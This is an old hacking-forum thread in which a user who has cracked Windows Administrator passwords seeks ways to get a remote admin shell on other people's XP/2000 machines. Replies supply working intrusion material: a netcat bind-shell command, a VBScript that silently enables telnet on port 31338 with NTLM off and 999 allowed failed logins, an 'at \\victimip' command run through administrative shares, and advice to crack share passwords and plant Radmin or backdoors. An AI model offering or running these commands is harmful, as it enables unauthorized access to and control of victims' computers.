Admin Account....and Now?

AlessandroIT

Feb 13 2004, 01:25 PM

Hi All

I readed In this section a lot of tutorial about Crack Administrator Password...
I Do It with PWDUMP2 AND LC4 (Really Fast)

First of all, when telnet service is enabled, i connect by it as Administrator

But When Service Is disabled, and i'm not able to start it, How can i login as Administrator?

Help Me to Risolve This little problem

jockel

Feb 13 2004, 01:28 PM

edit, upload an execute this :

AlessandroIT

Feb 13 2004, 01:32 PM

Same Error..It Don't work

jockel

Feb 13 2004, 01:34 PM

oh come on ...
plz be a bit more specific ...
muss man dir alles aus der nase ziehen ??

otherwise we can't help you

AlessandroIT

Feb 13 2004, 01:38 PM

QUOTE (jockel @ Feb 13 2004, 01:34 PM)

oh come on ...
plz be a bit more specific ...
muss man dir alles aus der nase ziehen ??

otherwise we can't help you

I Don't Speak Your Language

So the specific problem is:

I CAN'T Login as ADMIN Because i Can't Start telnet.

Is there another way to login as Admin? (REMOTELY...TO GET ADMIN SHELL)

jockel

Feb 13 2004, 01:39 PM

"runas" with admin account -> nc -l -p 81 - e cmd

when you run the script and there is no error is DEFINITLY works ..
try to connect to port 31338 .... as in the script ..

what happens ??

Copkill

Feb 13 2004, 01:48 PM

Scan port 3389 Windows Terminal Server.

If the port is open you can connect to the Server.

or

scan port 6129 Damware and than connect to Mini Remote Contol.

good luck.

AlessandroIT

Feb 13 2004, 01:49 PM

H:\TOOLS>nc -v -n *.*.*.* 31338
(UNKNOWN) [*.*.*.*] 31338 (?): connection refused

H:\TOOLS>

i tested It on my machine Too....But it don't open any ports...and when i try to start telnet it say "Couldn't Start NET HELPMSG 2185"

jockel

Feb 13 2004, 01:49 PM

scan ??
why scan ??
if you can enable it yourself ??

CODE

On Error Resume Next
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.RegWrite "HKLM\Software\Microsoft\TelnetServer\1.0\NTLM",0,"REG_DWORD"
WshShell.RegWrite "HKLM\Software\Microsoft\TelnetServer\1.0\TelnetPort","31338","REG_DWORD"
WshShell.RegWrite "HKLM\Software\Microsoft\TelnetServer\1.0\MaxFailedLogins","999","REG_DWORD"
Set ServiceSet = GetObject("winmgmts:{impersonationLevel=impersonate}").ExecQuery("select * from Win32_Service where Description='Telnet'")
for each Service in ServiceSet
RetVal = Service.ChangeStartMode("Automatic")
RetVal = Service.StartService()
if RetVal = 10 then
RetVal = Service.StopService()
RetVal = Service.StartService()
end if
next

AlessandroIT

Feb 13 2004, 01:52 PM

QUOTE (Copkill @ Feb 13 2004, 01:48 PM)

Scan port 3389 Windows Terminal Server.

If the port is open you can connect to the Server.

or

scan port 6129 Damware and than connect to Mini Remote Contol.

good luck.

No..These port are closed

QUOTE

On Error Resume Next
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.RegWrite "HKLM\Software\Microsoft\TelnetServer\1.0\NTLM",0,"REG_DWORD"
WshShell.RegWrite "HKLM\Software\Microsoft\TelnetServer\1.0\TelnetPort","31338","REG_DWORD"
WshShell.RegWrite "HKLM\Software\Microsoft\TelnetServer\1.0\MaxFailedLogins","999","REG_DWORD"
Set ServiceSet = GetObject("winmgmts:{impersonationLevel=impersonate}").ExecQuery("select * from Win32_Service where Description='Telnet'")
for each Service in ServiceSet
RetVal = Service.ChangeStartMode("Automatic")
RetVal = Service.StartService()
if RetVal = 10 then
RetVal = Service.StopService()
RetVal = Service.StartService()
end if
next

I Tested It remotely, and Locally...But id don't work anyway

GAN_GR33N

Feb 14 2004, 02:44 AM

net use x: \\victimip\c$ password /U:administrator

at \\victimip 9:00P "net start tlntsvr"

just set the time like ten minutes from when you do it and make sure to use a uppercase "A" or "P" depending on when your doing it

have fun don't get in trouble

boshcash

Feb 14 2004, 05:30 AM

guys i dont think AT and Administrative shares are working on xp , i always find a problem (access denied) , i hope that i learn how to use the administrative shares of a winxp system ( not my local shares because if someone tries them thay always work) is there a solution ?

gephorce

Feb 14 2004, 04:18 PM

I'm confused on what he's trying to do. Is he doing this locally or remotely? Because if he's getting all worked up on something he can't do to himself then he should be happy or he should just enable the services on his own.

If he's doing this to someone else, then the chances of him finding someone with remote desktop or any other services he's looking for is slim to none. Plus i'm sure that script vbs script should have worked out if used properly. I don't think he tried it.

Try using there shares and if password protected, crack them. Once cracked, connect to them and put that script on there and execute. Depending on what shares are shared (Admin$) then you can just crack that and try using pwdump2 thru getting access to admin$ or c$.

AlessandroIT

Feb 15 2004, 06:40 PM

QUOTE (gephorce @ Feb 14 2004, 04:18 PM)

I'm confused on what he's trying to do. Is he doing this locally or remotely? Because if he's getting all worked up on something he can't do to himself then he should be happy or he should just enable the services on his own.

If he's doing this to someone else, then the chances of him finding someone with remote desktop or any other services he's looking for is slim to none. Plus i'm sure that script vbs script should have worked out if used properly. I don't think he tried it.

Try using there shares and if password protected, crack them. Once cracked, connect to them and put that script on there and execute. Depending on what shares are shared (Admin$) then you can just crack that and try using pwdump2 thru getting access to admin$ or c$.

My Problem is REMOTELY....

So The problem isn't for The password, But for login as admin with his password...

(i Repeat) I tried your vbs script but it don't start telnet server (it change Start Type to Automatic, but when i try to start it don't start for NET HELPMSG 1058

I'm asking to All If there is any method to login as Administrator (with his PASSWORD, I GOT IT) It's a WinxP-Win2k Machine

Pls Help Me

P.S. Tell me if there is any "shell method"...I need to get a shell with Administrator's Account!

gephorce

Feb 16 2004, 10:23 PM

telnet will work. If you go to computer management and start the telnet server then you should be able to connect through it. Use computer management to connect remotely to the computer and start the service. I usually start the telnet server that way. After that, you can go to dos and connect to them. I've never started a telnet server through dos so all I can tell you to do is do it through computer management instead if your havings problems through Dos.

AlessandroIT

Feb 17 2004, 04:13 PM

QUOTE (gephorce @ Feb 16 2004, 10:23 PM)

telnet will work. If you go to computer management and start the telnet server then you should be able to connect through it. Use computer management to connect remotely to the computer and start the service. I usually start the telnet server that way. After that, you can go to dos and connect to them. I've never started a telnet server through dos so all I can tell you to do is do it through computer management instead if your havings problems through Dos.

I can't open windows management...I'm finding a remote way to login as Administrator

pdf

Feb 17 2004, 04:31 PM

you can install RADMIN on the remote and log in with it to his computer

then you can start telnet

AlessandroIT

Feb 17 2004, 05:45 PM

QUOTE (pdf @ Feb 17 2004, 04:31 PM)

you can install RADMIN on the remote and log in with it to his computer

then you can start telnet

I tryied To Install Radmin..Yes It Login but i need to run an application...wich require only an ADMINISTRATOR Shell:

I'm explaining my problem:

This application require a administrator shell, otherwise it start anyway but it don't work very well....So For this reason on all server i Try to start telnet server Because for first it require Username and password of admin..Then u got a real admin Shell...And from here my appz work perfectly...
So I tryied with all proggy like radmin, or normal backdoor, But it don't work

So I'm finding any methods to start telnet server or any windows method to login as Admin